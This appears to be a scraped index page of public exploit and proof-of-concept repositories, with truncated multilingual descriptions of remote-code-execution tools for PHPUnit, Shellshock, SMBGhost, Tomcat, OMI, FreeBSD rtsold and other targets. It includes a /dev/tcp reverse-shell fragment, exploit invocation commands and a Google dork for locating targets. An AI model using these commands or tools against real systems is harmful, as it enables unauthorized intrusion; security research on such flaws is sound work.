CVE-2017-9841

phpunit-shell ⭐ CVE-2017-9841 を悪用するシンプルな python3 スクリプト。 エクスプロイト - CVE-2017-9841 ❗ PHPUnit 4.8.28 未満および 5.x 系 5.6.3 未満で見つかったリモートコード実行の脆弱性を悪用するシンプルなスクリプトです。ユーザーが入力したシステムコマンドを POST リクエストでターゲットに送信します。 https://vulners.com/cve/CVE-2017-9841. 前提条件 ✔ python3 python3 用の requests モジュールと bs4...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 자동 익스플로잇 및 탐지 이 파이썬 프로그램은 RCE SMBGhost 취약점을 위한 래퍼입니다. 작동하는 익스플로잇에 대한 모든 크레딧은 chompie1337에게 있습니다. 스캐너에 대한 모든 크레딧은 ioncodes에게 있습니다. 이러한 기능들을 하나의 프로그램에 자동화했습니다. 리버스 셸을 만들 때 Windows 대상의 아키텍처를 염두에 두어야 합니다. 이 익스플로잇은 안정적이지 않으며, 사용에 따른 책임은 본인에게 있습니다. 때로는 첫 번째 시도에서 작동하지 않을 수 있으며, 그래...

CVE-2017-17485

CVE-2017-17485 CVE-2017-17485:Jackson-databind RCE...

CVE-2018-6574

CVE-2018-6574 Golang go get 명령어에서의 원격 명령 실행. CVE-2018-6574 이 취약점은 Golang go get 명령어에 영향을 미치며, 공격자가 악성 라이브러리를 설치하여 시스템에서 코드 실행을 가능하게 합니다. 이 취약점은 Go 1.8.7, 1.9.4 및 1.10rc2에서 수정되었습니다. Golang은 네이티브 확장을 빌드합니다. 이를 이용하여 컴파일러에 추가 플래그를 전달해 코드 실행을 얻을 수 있습니다. 예를 들어, CFLAGS를 사용할 수 있습니다...

ruby-RCE-CVE-2019-5420-

Ruby 逆シリアル化（CVE-2019-5420） root@kitploit: https://github.com/PenTestical/CVE-2019-5420 参照： root@kitploit: 1 Ruby on Rails コマンド実行脆弱性ペイロード実装プロセス https://hackerone.com/reports/473888 ActiveSupport::MessageVerifier と ActiveSupport::MessageEncryptor はデフォルトのシリアライザとして Marshal を使用するため、オブジェクトインジェクションによる R...

CVE-2025-0282-Full-version

Storks: 원격 코드 실행 취약점 악용 도구 개요 Storks는 특정 네트워크 장비에서 CVE-2025-0282 로 식별된 중요한 원격 코드 실행RCE 취약점을 시연하기 위해 설계된 Python 기반 개념 증명PoC 도구입니다. 이 취약점은 특정 엔드포인트에 조작된 POST 요청을 전송하여 악용될 수 있습니다. 이 도구는 교육 및 연구 목적으로만 사용하도록 제작되었습니다. 면책 조항: 적절한 권한 없이 시스템에서 이 도구를 사용하는 것은 불법이며 비윤리적입니다. 이 도구의 오용으로 인한 어떠한 손해나 행위에 대해서도 책임을...

CVE-2025-24813-POC

CVE-2025-24813 Apache Tomcat RCE PoC CVE-2025-24813을 위한 PoC, Apache Tomcat의 원격 코드 실행RCE 취약점입니다. 중요: 이 PoC는 자신의 환경을 테스트하거나 교육 목적으로만 사용해야 합니다. 승인되지 않은 시스템을 익스플로잇하는 데 이 PoC를 사용하는 것은 금지되어 있으며 불법일 수 있습니다. 이 PoC의 제작자와 배포자는 오용이나 손해에 대해 책임을 지지 않습니다. 소유하지 않은 환경을 테스트하기 전에 항상 명시적 허가를 받으십시오. 사용법 root@kitploi...

CVE-2021-44967

CVE-2021-44967 root@kitploit: Exploit Title: LimeSurvey 5.2.4 - Authenticated Remote Code Execution RCE Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login Date: 05/12/2021 Discovered by: Y1LD1R1M Exploit Author: D3Ext Vendor Homepage: https://www.limesurvey.org/ Software Link:...

CVE-2014-1303

CVE-2014-1303 Linux PoC CVE-2014-1303 基于堆的WebKit缓冲区溢出 概念验证，针对Linux。 该仓库演示了Linux 上WebKit基于堆的缓冲区溢出漏洞CVE-2014-1303。 用于seccamp讲座。 注意： 原始漏洞利用是针对Mac OS X和PS4 PlayStation4编写的。 我已在Ubuntu 14.04上移植并测试了工作，WebKitGTK 2.1.2 用法 首先，你需要运行一个简单的web服务器， root@kitploit: $ python server.py 然后 root@kitploit: $ cd...

CVE-2024-38472

Windows의 Apache HTTP Server에 있는 SSRF 취약점CVE-2024-38472을 위한 RCE원격 코드 실행 Metasploit 모듈을 만드는 것은 까다롭습니다. SSRF 자체가 직접적으로 RCE를 발생시키지 않기 때문입니다. 하지만 SSRF는 특히 내부 서비스와 상호 작용하거나 2차 취약점을 트리거하는 데 사용할 수 있는 경우, RCE를 달성하기 위한 한 단계가 될 수 있습니다. SSRF를 통한 RCE 전략 SSRF를 통해 RCE를 달성하려면 일반적으로 다음이 필요합니다: 1. SSRF를 통해 악용할 수 있...

OpenPLC-CVE-2021-31630-RCE

OpenPLC v3 인증된 RCE CVE-2021-31630 이것은 OpenPLC v3의 취약점 CVE-2021-31630에 대한 최신 Python 3.13+ 호환 개념 증명 익스플로잇입니다. 이 취약점은 인증된 사용자가 악성 코드가 포함된 사용자 정의 하드웨어 레이어를 업로드할 수 있게 하여 호스트에서 원격 코드 실행RCE을 유발합니다. 원본 취약점 발견 및 권고 자료는 Fellipe Oliveira가 제공했습니다. 이 재구현 및 최신화는 httpx, CLI 도구, 로깅 및 보다 안전한 탐지 기술을 사용합니다. 익스플로잇 개...

CVE-2026-61534

Yayson is a JavaScript library for serializing and reading JSON:API data. Prior to 4.3.0 , Store and LegacyStore use attacker-controlled type, id, and relationship names directly as keys in plain-object lookup tables. A JSON:API document with type: "__proto__" writes onto Object.prototype, giving...

CVE-2025-55182

CVE-2025-55182 - React 및 Next.js Server Actions RCE 익스플로잇 React/Next.js Server Actions의 CVE-2025-55182에 대한 완전한 기능의 원격 코드 실행 익스플로잇 및 스캐너입니다. 원본 PoC: Spritualkb/CVE-2025-55182-exp 개요 CVE-2025-55182는 React Server Components의 치명적인 프로토타입 오염 취약점으로, 원격 코드 실행을 가능하게 합니다. 이 저장소는 자동 스캐닝Nuclei 템플릿과 수동...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL コマンドインジェクション RCE 説明 rtsold8 は、DNSSLドメイン名にシェルのメタ文字が含まれていないか検証せずに resolvconf8 に渡します。$ によるコマンド置換により、隣接ネットワークからのリモートコード実行が可能になります。 影響を受けるバージョン: FreeBSD 13.x, 14.x, 15.x 2025-12-16 より前 使用法 root@kitploit: sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3...

tplink-CVE-2017-11519

tplink-CVE-2017-11519 TP-Link Archer C9 - 관리자 비밀번호 초기화 및 RCE CVE-2017-11519에 대한 PoC 자세한 내용은 https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html 에서 확인하세요...

CVE-2025-5394

🚨 CVE-2025-5394 - Aloneテーマにおける未認証の任意プラグインアップロード 📌 影響を受ける製品: Alone – チャリティ多目的非営利WordPressテーマ バージョン: 🚀 使用例: root@kitploit: python3 CVE-2025-5394.py -help root@kitploit: usage: CVE-2025-5394.py -h -u URL -s SHELL CVE-2025-5394 Exploit | by Khaled Alenazi Nxploited options: -h, --help show this help...

CVE-2024-38475

CVE-2024-38475 POC 출처 : 모든 공로는 이 사람에게 있습니다: https://blog.orange.tw/ 및 https://x.com/orange8361 제가 한 것은 그의 연구를 바탕으로 POC 스크립트를 만든 것뿐입니다. 소개 : Apache HTTP Server 2.4.59 및 이전 버전의 modrewrite에서 출력 이스케이프 처리가 부적절하여 공격자가 서버에서 제공이 허용되지만 어떤 URL로도 의도적으로/직접 접근할 수 없는 파일 시스템 위치로 URL을 매핑할 수 있으며, 이로 인해 코드 실행 또는 소...

cve-2021-38647

cve-2021-38647 OMI의 CVE-2021-38647 RCE에 대한 PoC 익스플로잇입니다. 기본 HTTPS 포트에서 ExecuteShellCommand를 사용하여 단일 명령을 실행합니다: root@kitploit: python cve-2021-38647.py -s 10.10.10.10 shell id 기본 HTTP 포트에서 ExecuteShellCommand를 사용하여 단일 명령을 실행합니다: root@kitploit: python cve-2021-38647.py 10.10.10.10 -p 5985 shell id ...

CVE-2017-12615

CVE-2017-12615 Tomcat リモートコード実行脆弱性 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue root@kitploit: www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · 影響: Apache Tomcat 7.0.0 - 7.0.79 0day 情報: https://www.secfree.com/article-399.html ヘルプ: Url ShellName...